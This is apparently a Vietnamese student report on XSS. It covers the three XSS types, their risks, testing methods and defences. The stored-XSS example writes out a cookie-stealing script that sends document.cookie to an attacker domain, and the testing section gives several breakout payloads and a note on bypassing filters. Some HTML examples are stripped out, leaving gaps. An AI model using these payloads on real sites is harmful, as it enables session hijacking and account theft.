CƠ SỞ LÝ THUYẾT
Giới thiệu chung
Bảo mật web dựa vào nhiều cơ chế, trong đó có khái niệm Same Origin Policy Khái niệm này quy định rằng nếu một trang web (ví dụ: https://mybank.example1.com) được cấp quyền truy cập vào tài nguyên trên trình duyệt, thì các nội dung từ bất kỳ URL nào có cùng lược đồ URI, tên máy chủ và số cổng sẽ chia sẻ quyền truy cập này Ngược lại, nội dung từ các URL khác nhau về bất kỳ thuộc tính nào trong ba thuộc tính trên sẽ cần được cấp quyền riêng biệt.
Các cuộc tấn công tập lệnh xuyên trang (XSS) lợi dụng các lỗ hổng trong ứng dụng web, máy chủ hoặc hệ thống plug-in để chèn nội dung độc hại vào trang web bị xâm phạm Khi nội dung này được tải về trình duyệt, nó được coi là từ nguồn đáng tin cậy, cho phép kẻ tấn công có quyền truy cập cao hơn vào thông tin nhạy cảm như cookie và dữ liệu người dùng Đây là một hình thức tấn công code injection nguy hiểm.
Thuật ngữ "cross-site scripting" (XSS) được các kỹ sư bảo mật của Microsoft giới thiệu vào tháng 1 năm 2000, ban đầu chỉ hành động tải ứng dụng web bị tấn công từ một trang web không liên quan, thực thi đoạn JavaScript do kẻ tấn công chuẩn bị trong bối cảnh an ninh của miền bị nhắm mục tiêu Định nghĩa này đã được mở rộng để bao gồm nhiều phương thức chèn mã khác, như các vectơ bền vững và không phải JavaScript, gây nhầm lẫn cho những người mới trong lĩnh vực an ninh thông tin.
Lỗ hổng XSS đã được phát hiện và khai thác từ những năm 1990, ảnh hưởng đến nhiều trang web nổi tiếng như Twitter, Facebook, MySpace, YouTube và Orkut Kể từ đó, lỗi này đã trở thành lỗ hổng bảo mật phổ biến nhất, vượt qua cả lỗi tràn bộ đệm, với ước tính vào năm 2007 cho thấy tới 68% trang web có khả năng bị tấn công XSS.
Cross-Site Scripting (XSS) là một lỗ hổng bảo mật trong ứng dụng web, cho phép kẻ tấn công xâm nhập vào hoạt động của người dùng Lỗ hổng này vượt qua chính sách Same Origin Policy, nhằm bảo vệ sự tách biệt giữa các ứng dụng web Các lỗ hổng XSS cho phép kẻ tấn công giả mạo người dùng nạn nhân, thực hiện các hành động mà nạn nhân có thể làm và truy cập dữ liệu của họ Nếu nạn nhân có quyền truy cập đặc quyền, kẻ tấn công có thể kiểm soát toàn bộ chức năng và dữ liệu của ứng dụng web.
Tấn công XSS, hay còn gọi là tấn công tiêm mã, là một hình thức tấn công trong đó mã độc hại được chèn vào các trang web được cho là an toàn Kẻ tấn công lợi dụng ứng dụng web để gửi các đoạn mã độc, thường dưới dạng script, đến người dùng khác Lỗi này xảy ra khi ứng dụng web không mã hóa hoặc lọc dữ liệu đầu vào của người dùng, cho phép mã độc chạy trên trình duyệt của nạn nhân.
Có ba loại tấn công XSS chính Đó là:
Reflected XSS, nơi tập lệnh độc hại đến từ yêu cầu HTTP hiện tại.
Stored XSS, nơi tập lệnh độc hại đến từ cơ sở dữ liệu của trang web.
DOM-based XSS, nơi lỗ hổng bảo mật tồn tại trong mã phía máy khách chứ không phải mã phía máy chủ.
1.2 Các nguy cơ tiềm ẩn từ lỗ hổng XSS trong thực tế
Cross-site scripting (XSS) vẫn là loại lỗ hổng ứng dụng web phổ biến nhất và luôn có mặt trong danh sách Top 10 của OWASP từ phiên bản đầu tiên Mặc dù thường được coi là ít nguy hiểm hơn so với SQL injection hay thực thi lệnh, nhưng thực tế là mã JavaScript độc hại có thể được thực thi ở phía máy khách mà không ảnh hưởng trực tiếp đến máy chủ, không làm giảm mức độ nguy hiểm của các lỗ hổng XSS.
Lỗ hổng XSS có thể gây ra nhiều tác động nghiêm trọng trên ứng dụng web, tùy thuộc vào cách thức tấn công Kẻ tấn công có thể thực thi mã script trong ngữ cảnh của người dùng, từ đó đánh cắp cookie phiên và chiếm quyền điều khiển phiên, dẫn đến việc mạo danh nạn nhân hoặc chiếm đoạt tài khoản Khi kết hợp với social engineering, điều này có thể dẫn đến rò rỉ dữ liệu nhạy cảm, các cuộc tấn công CSRF nếu có thể truy cập mã thông báo chống CSRF, hoặc thậm chí cài đặt phần mềm độc hại.
Nếu nạn nhân có quyền quản trị trong ứng dụng, một cuộc tấn công XSS thành công có thể dẫn đến việc thực thi mã trên máy chủ Các API web HTML5 cho phép truy cập nhiều hơn vào dữ liệu và phần cứng cục bộ, tạo điều kiện cho kẻ tấn công khai thác lỗ hổng XSS để truy cập tài nguyên cục bộ, bao gồm dữ liệu trong bộ nhớ trình duyệt, camera và microphone XSS là một vấn đề nghiêm trọng trong bảo mật ứng dụng web.
Tác động thực tế của một cuộc tấn công XSS phụ thuộc vào bản chất và chức năng của ứng dụng, dữ liệu liên quan cũng như trạng thái của người dùng bị xâm phạm.
Trong một ứng dụng brochureware, nơi tất cả người dùng đều ẩn danh và tất cả thông tin đều được công khai, tác động thường sẽ là tối thiểu.
Trong các ứng dụng chứa dữ liệu nhạy cảm như giao dịch ngân hàng, email hoặc hồ sơ chăm sóc sức khỏe, tác động của việc rò rỉ thông tin thường rất nghiêm trọng.
Nếu người dùng có đặc quyền nâng cao trong ứng dụng bị xâm phạm, hậu quả sẽ rất nghiêm trọng, cho phép kẻ tấn công kiểm soát toàn bộ ứng dụng và truy cập vào dữ liệu của tất cả người dùng.
1.3 Một số lỗ hổng XSS được phát hiện gần đây
1.3.1 Lỗ hổng XSS của Microsoft Edge Hai nhà nghiên cứu bảo mật, Vansh Devgan và Shivam Kumar Singh, đã phát hiện ra một lỗ hổng Universal XSS nghiêm trọng trong Microsoft Edge
Lỗi bảo mật trong trình duyệt Microsoft Edge ảnh hưởng đến tính năng dịch tự động, cụ thể là trong chức năng startPageTranslation Mã dễ bị tấn công này xử lý không đúng cách ký tự ">" trong thẻ HTML, cho phép mã độc được thực thi Trình dịch nội bộ không kiểm tra đầu vào, dẫn đến việc thực thi mã JavaScript từ thẻ "img" mà không qua quá trình xác thực hoặc làm sạch dữ liệu Các nhà nghiên cứu đã phát hiện lỗ hổng này và đã liên hệ với Microsoft vào ngày 3 tháng.
Vào ngày 24 tháng 6 năm 2021, Microsoft đã phát hành một bản sửa lỗi sau nhiều cuộc trao đổi nhằm ngăn chặn các cuộc tấn công tiềm ẩn.
CÁC DẠNG TẤN CÔNG XSS
Reflected XSS
Non-Persistent XSS, hay còn gọi là Reflected XSS, xảy ra khi đoạn script độc hại được phản chiếu trong phản hồi từ máy chủ Kẻ tấn công tạo ra một URL độc hại và gửi đến nạn nhân qua email hoặc mạng xã hội Khi nạn nhân nhấp vào đường dẫn, một yêu cầu được gửi đến máy chủ, và vì đoạn script độc hại không được lưu trữ trên máy chủ, nó sẽ được phản chiếu trong phản hồi gửi lại nạn nhân Tại trình duyệt, đoạn script này được thực thi, dẫn đến cuộc tấn công XSS Loại lỗ hổng này chiếm đến 75% tổng số lỗ hổng XSS trong các ứng dụng web, và do payload được phân phối qua một yêu cầu và phản hồi duy nhất, nó còn được gọi là first-order XSS.
Hình 1 1 Mô hình hoạt động của Reflected XSS
2.1.2 Tìm kiếm và kiểm tra
Cách hiệu quả nhất để phát hiện XSS phản chiếu là kiểm tra tất cả các điểm đầu vào cho thông tin người dùng Điều này cần được thực hiện trong quá trình xây dựng bản đồ ứng dụng, bao gồm các bước cụ thể để đảm bảo an toàn.
Nhập các chuỗi kí tự vô hại bất kì vào từng điểm đầu vào.
Xác định tất cả các vị trí nơi mà chuỗi bị phản chiếu trong phản hồi của ứng dụng
Xác định vị trí của câu lệnh nơi mà dữ liệu phản chiếu xuất hiện cho từng lượt phản chiếu.
Nhập dữ liệu được sửa đổi tới câu lệnh mà sự phản chiếu xuất hiện, cố gắng để có thể viết đoạn script bất kì vào phản hồi
Nếu dữ liệu phản chiếu bị chặn hoặc lọc, cần tìm hiểu cách vượt qua hệ thống lọc phòng thủ của ứng dụng để đảm bảo script có thể hoạt động hiệu quả.
Xác định sự phản chiếu của dữ liệu người dùng
Bước đầu tiên trong kiểm thử là nhập chuỗi ký tự vô hại vào các điểm đầu vào để xác định vị trí phản hồi Chọn chuỗi không xuất hiện trong ứng dụng và chỉ chứa ký tự bảng chữ cái để giảm thiểu khả năng bị ảnh hưởng bởi bộ lọc XSS.
Nhập chuỗi này vào từng tham số, kiểm tra lần lượt từng tham số.
Giám sát phản hồi của ứng dụng cho mỗi lần xuất hiện của chuỗi và ghi chú từng tham số có giá trị sao chép vào phản hồi Mặc dù không phải là lỗ hổng, nhưng mỗi vị trí được xác định có tiềm năng để nghiên cứu sâu hơn Cần kiểm tra cả yêu cầu GET và POST, bao gồm tất cả các tham số trong truy vấn URL và phần thân Dù có giới hạn phạm vi nhỏ hơn cho lỗ hổng XSS từ yêu cầu POST, việc khai thác vẫn có thể xảy ra.
Trong trường hợp phát hiện XSS trong yêu cầu POST, bạn có thể sử dụng tính năng “change request method” trong BURP để chuyển đổi phương thức yêu cầu từ POST sang GET Điều này giúp kiểm tra xem cuộc tấn công XSS có thể xảy ra với yêu cầu GET hay không.
Ngoài các tham số tiêu chuẩn, cần kiểm tra tất cả thực thể liên quan đến nội dung của tiêu đề yêu cầu HTTP Lỗ hổng XSS thường xuất hiện trong các thông báo lỗi, nơi mà các header như Referer và User-Agent được sao chép vào nội dung Những tiêu đề này có thể trở thành phương tiện cho cuộc tấn công XSS phản chiếu, khi kẻ tấn công lợi dụng vật thể Flash để khiến nạn nhân gửi yêu cầu chứa tiêu đề HTTP tùy ý.
Kể từ năm 2021, Adobe đã ngừng hỗ trợ trình bổ trợ Flash Player, dẫn đến việc nội dung Flash, bao gồm âm thanh và video, không còn phát được trên bất kỳ phiên bản nào của các trình duyệt Do đó, thông tin liên quan đến Flash có thể không còn phù hợp nữa.
Kiểm tra sự phản chiếu với script yêu cầu xác định ngữ cảnh cú pháp của dữ liệu bị phản chiếu Cần thay đổi dữ liệu để khi sao chép vào vị trí đó trong phản hồi của ứng dụng, đoạn script sẽ được thực thi.
1 XSS trong giá trị thuộc tính của một thẻ:
Khai thác XSS đơn giản nhất có thể thực hiện bằng cách kết thúc dấu ngoặc kép của thuộc tính trong thẻ và thêm một đoạn mã JavaScript mới dưới dạng thẻ .
Một phương án thay thế khác là ta thêm event handler chứa JavaScript
Ví dụ là trong trang trả về có chứa:
Dữ liệu đầu vào được thêm trực tiếp vào chuỗi trong đoạn script đã có sẵn Để khai thác, bạn cần kết thúc dấu ngoặc đơn và dấu khai báo bằng dấu chấm phẩy, sau đó có thể thêm đoạn JavaScript mong muốn.
Để tránh lỗi khi kết thúc dấu ngoặc đơn, cần đảm bảo rằng script có cú pháp chính xác Trong ví dụ trên, khi biến c được khai báo và một ngoặc đơn được mở, nó sẽ được kết thúc ngay sau đoạn mã Một phương pháp hiệu quả khác là sử dụng ký tự // để ghi chú phần còn lại của dòng, giúp kết thúc dữ liệu đầu vào.
var a = ‘’;alert(1); var c=’’; var b 3; …
var a = ‘’; alert(1); // var b = 123; …
3 XSS với một thuộc tính chứa trong URL
Ví dụ ta có trang trả về có chứa:
Trong thẻ , chuỗi nhập vào được hiển thị trong thuộc tính href Để thêm script trực tiếp vào thuộc tính URL, ta có thể sử dụng giao thức javascript:, ví dụ: javascript:alert(1);
Dữ liệu đầu vào được phản chiếu trong thuộc tính của thẻ, cho phép chúng ta sử dụng event handler Để thực hiện một cuộc tấn công hiệu quả trên tất cả các trình duyệt hiện tại, ta có thể sử dụng một tên hình ảnh kết hợp với một onclick event handler.
Chú ý rằng, giống như với mọi hình thức tấn công khác, việc mã hóa URL các ký tự đặc biệt trong yêu cầu là rất quan trọng, bao gồm các ký tự như &, =, +, ; và dấu cách.
Ta có các bước sau để thực hiện việc kiểm tra:
1 Kiểm tra mã nguồn HTML để xác định các vị trí nơi mà chuỗi mà ta nhập bị
Stored XSS
2.2.1 Tổng quan về Stored XSS
Tấn công Stored XSS là hình thức cho phép kẻ tấn công chèn mã độc, thường là Javascript, vào website thông qua các chức năng như viết bình luận, guestbook, gửi bài hoặc tin nhắn Những đoạn mã độc này được lưu trữ trong cơ sở dữ liệu của website, gây ra nguy cơ bảo mật nghiêm trọng cho người dùng và hệ thống.
Khi người dùng truy cập website thì những đoạn script độc hại sẽ được thực thi => người dùng sẽ bị dính mã độc từ kẻ tấn công.
Tấn công XSS này chủ yếu khai thác sự thiếu kiểm tra dữ liệu nhập vào từ người dùng Khi dữ liệu được gửi lên server mà không qua kiểm tra kỹ lưỡng, nó sẽ được lưu trực tiếp vào cơ sở dữ liệu, tạo ra nguy cơ bảo mật nghiêm trọng.
Một trong những hình thức tấn công phổ biến nhất là lợi dụng các trường dữ liệu nhập vào từ người dùng, chẳng hạn như ô bình luận trên blog hoặc các ô điền thông tin tài khoản.
2.2.1.2 Tác hại của Stored XSS
Thay đổi cấu trúc của toàn bộ trang web
Chuyển hướng liên kết sang trang khác
Tạo trang web hoặc form giả mạo nhằm lừa đảo và chuộc lợi từ người dùng, đồng thời đánh cắp dữ liệu nhận dạng như cookies và session tokens.
2.2.1.3 So Sánh Reflected Xss Và Stored Xss
Bảng 2 1 So sánh So Sánh Reflected Xss Và Stored Xss
Hacker lừa nạn nhân đăng nhập rồi truy cập đến URL để thực thi mã độc.
Hacker chèn mã nguy hiểm vào CSDL của ứng dụng, Khi Người dùng truy cập vào ứng dụng thì mã độc thực thi Đối tượng ảnh hưởng
Trực tiếp vào một số nạn nhân mà hacker nhắm đến
Tất cả nhưng người sử dụng ứng dụng web đó
=>Stored XSS nguy hiểm hơn nhiều so với Reflected XSS
VD1: Trang web có chức năng comment
Giả sử trang web có ô nhập nội dung comment
Với mỗi nhận xét mà người dùng nhập vào, hệ thống sẽ lưu trữ lại và hiển thị sau đó
Hacker kiểm tra web này có bị dính lỗ hổng bảo mật hay không bằng cách nhập đoạn Script vào ô comment:
alert("XSS attack!");
Đoạn mã Javascript trên sẽ được trình duyệt kích hoạt và nếu có hộp thoại hiển thị:
Hacker chèn đoạn script đánh cắp cookie người dùng:
window.location.assign("https://www.sitecuahacker.com/? cookie="+document.cookie)
Khi người dùng truy cập chức năng comment, cookie người dùng sẽ được gửi tới trang của Hacker.
VD2: Ứng dụng web cho phép user gửi message tới admin
Khi chèn đoạn script sau:
alert(1) vào khung Message
Nếu Ta nhận được thông báo sau, chứng tỏ Message này bị lỗi XSS
Hacker sẽ tấn công bằng cách gửi đoạn script độc hại
Mã độc được lưu lại trên trang web
Khi admin đọc message, mã độc được thực thi và gửi cookie của admin về
DOM-based XSS
2.3.1 Tổng quan về Dom-based XSS
2.3.1.1 Trước tiên chúng ta cần biết DOM là gì?
DOM là viết tắt của Document Object Model
Là 1 dạng chuẩn của W3C đưa ra nhằm để truy xuất và thao tác dữ liệu của tài liệu có cấu trúc như HTML, XML.
Mô hình này thể hiện tài liệu dưới dạng cấu trúc cây phân cấp Tất cả các thành phần trong HTML, XML đều được xem như một node.
2.3.1.2 Vậy DOM-based XSS là gì?
Cả Reflected XSS và Stored XSS đều có điểm chung là các đoạn mã độc hại được chèn vào và sẽ được thực thi sau khi máy chủ gửi phản hồi, cho thấy rằng lỗi xuất phát từ phía server.
DOM-Based XSS lại đi ngược lại với đặc điểm này, mã độc sẽ được thực thi ngay khi xử lý phía client mà không cần thông qua server
DOM Based XSS là kỹ thuật khai thác XSS dựa trên việc thay đổi cấu trúc DOM của tài liệu, cụ thể là HTML.
2.3.1.3 So sánh giữa 3 loại tấn công XSS
Trên kịch bản khai thác thực tế, DOM Based XSS tương tự như Reflected XSS hơn là Stored XSS, vì nó yêu cầu người dùng bị lừa truy cập vào một URL chứa mã độc đã được nhúng.
Bảng 2 2 So sánh So Sánh DOM-Based XSS và Stored XSS
DOM-Based XSS Reflected XSS
Một loại XSS nâng cao tấn công bằng cách ghi dữ liệu vào Mô hình đối tượng tài liệu
Loại tấn công phổ biến nhất là khi payload của kẻ tấn công được gửi dưới dạng một phần của yêu cầu đến máy chủ web Tấn công này xảy ra khi dữ liệu từ nguồn không đáng tin cậy được xử lý và ghi vào DOM, tạo ra nguy cơ tiềm ẩn cho hệ thống.
Xảy ra khi một ứng dụng lấy dữ liệu trong một request HTTP và bao gồm dữ liệu đó trong response theo cách không an toàn
2.3.2 Ví dụ đơn giản về tấn công Dom-based XSS
Dưới đây là 1 trang web cho phép người dùng tải lên những bài viết, trạng thái của mình
Chúng ta sẽ đăng tải 1 bài viết với nội dung “Hello, world !”
Nội dung chúng ta vừa đăng tải sẽ được hiển thị như hình ảnh dưới đây
Chúng ta sẽ thực truy cập vào trang mã nguồn của web và thấy được hàm dùng để in các bài đăng ra màn hình
Nội dung message sẽ được hiển thị trực tiếp trong thẻ mà không trải qua bất kỳ bước xử lý hay xác thực nào, điều này có thể tạo ra nguy cơ bị chèn các đoạn mã độc hại.
Chúng ta sẽ thêm một đoạn mã đơn giản vào phần viết bài đăng, đoạn mã này sẽ tạo ra một đường link có tên là “here” Khi nhấp vào đường link này, trang web sẽ hiển thị thông báo với nội dung “pwned”.
Kết quả sau khi đăng thành công và ấn vào link “here”
Kết luận: Bằng cách chèn một đoạn mã đơn giản, chúng ta có thể phát hiện ra lỗ hổng bảo mật trên trang web, điều này có thể dẫn đến các cuộc tấn công XSS.
2.3.3 Sơ đồ tấn công cơ bản
CÁC BIỆN PHÁP PHÒNG CHỐNG XSS
Lọc đầu vào
Luôn luôn lọc dữ liệu từ người dùng bằng cách kiểm tra các ký tự meta (ký tự đặc biệt) theo định nghĩa trong đặc tả HTML Mỗi trường nhập liệu, bao gồm cả tham số liên kết, sẽ được kiểm tra để phát hiện các thẻ script.
Mã hóa
Lỗi XSS có thể được ngăn chặn hiệu quả khi máy chủ Web thực hiện mã hóa thích hợp cho các trang phát sinh, giúp ngăn chặn việc chạy các script không mong muốn.
Sử dụng tường lửa WAF
Tường lửa ứng dụng web (WAF) là giải pháp được sử dụng phổ biến nhất để bảo vệ khỏi xss và các cuộc tấn công ứng dụng web.
WAF có khả năng thực thi các chính sách bảo mật dựa trên dấu hiệu tấn công, các giao thức tiêu chuẩn và lưu lượng truy cập ứng dụng web bất thường, điều mà các tường lửa mạng khác không thể thực hiện.
Sử dụng Javascript framework (React, Angular, …)
Hiện nay, có nhiều thư viện hỗ trợ ngăn ngừa tấn công XSS, và các framework phát triển web đã tích hợp nhiều công nghệ bảo mật để chống lại loại hình tấn công này.
Vd: Javascript framework (React, Angular, …)
